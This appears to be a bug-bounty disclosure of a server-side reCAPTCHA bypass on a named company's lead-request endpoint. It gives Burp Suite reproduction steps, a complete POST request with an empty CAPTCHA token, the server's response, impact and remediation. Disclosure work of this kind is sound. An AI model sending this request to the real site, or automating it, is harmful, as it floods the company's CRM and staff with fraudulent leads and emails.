October 1, 2026

Server-Side reCAPTCHA Validation Bypass on /services/request-send.php

Summary

By Ahemd ashraf

1 min read

Summary

The endpoint /services/request-send.php on birdviewpsa.com does not enforce server-side validation of the reCAPTCHA token before processing form submissions.

Although the web form requires a CAPTCHA on the client side, an unauthenticated attacker can send a direct HTTP POST request with an empty g-recaptcha-response parameter.

The server still processes the request successfully, creates the corresponding lead/request, assigns the request to sales and technical personnel, and triggers notification emails.

Vulnerable Endpoint

Method: POST

Endpoint:

https://birdviewpsa.com/services/request-send.php

Authentication: Not required

Affected parameter:

g-recaptcha-response

Steps to Reproduce

  1. Open the affected form on birdviewpsa.com.
  2. Intercept the legitimate form submission using Burp Suite.
  3. Send the request to Burp Repeater.
  4. Remove the CAPTCHA token by changing:
g-recaptcha-response=<valid-token>

to:

g-recaptcha-response=
  1. Send the request.

The request is processed successfully despite the missing CAPTCHA token.

Proof of Concept

Example request:

POST /services/request-send.php HTTP/2
Host: birdviewpsa.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
typerequest=Trial&page=https%3A%2F%2Fbirdviewpsa.com%2Fcompany%2Fvulnerability-reward-program%2F&country=Egypt&state=Qalyubia&country_code=EG&meeting-url=NA&form-place=Header&fullname=Test+User&firstname=Test&lastname=User&email=attacker%40example.com&users=100&phone-code=20&phone=1234567890&company=TestCompany&comment=&g-recaptcha-response=&is_first_visit=true

The server responds with:

{
  "Validation": {
    "Account": false,
    "Captcha": false,
    "CaptchaForm": false
  },
  "Success": true,
  "Mail": {
    "RequestSale": {
      "Success": "Sales: true"
    },
    "RequestTechnical": {
      "Success": "Technical: true"
    }
  }
}

The important observation is that the server reports the CAPTCHA validation as unsuccessful while simultaneously returning:

"Success": true

and executing the downstream processing.

Security Impact

An unauthenticated attacker can bypass the intended CAPTCHA protection and submit requests programmatically without completing the CAPTCHA challenge.

This can allow:

  • Automated creation of fraudulent/spam leads.
  • Pollution of the CRM/lead pipeline.
  • Automated triggering of sales and technical notification emails.
  • Increased processing and notification volume.
  • Potential degradation of email reputation if abused at scale.

The demonstrated impact is therefore primarily abuse of an unauthenticated form and CAPTCHA-protected workflow, rather than an authentication bypass.

Expected Behavior

Requests containing a missing, invalid, expired, or otherwise unsuccessful CAPTCHA verification should be rejected before any lead creation, CRM processing, or email notification occurs.

For example:

Missing/Invalid CAPTCHA
        ↓
Reject request
        ↓
No lead creation
No email notification

Remediation

Perform CAPTCHA verification entirely on the server before executing any downstream functionality.

The backend should:

  1. Require g-recaptcha-response.
  2. Send the token to Google's reCAPTCHA verification endpoint.
  3. Verify that the response is valid and applicable to the expected site/action.
  4. Reject missing, invalid, expired, or failed CAPTCHA tokens.
  5. Perform this validation before creating leads or sending notification emails.
  6. Add rate limiting as a secondary defense against automated abuse.

CAPTCHA should be treated as a server-side security control, not merely a client-side form validation mechanism.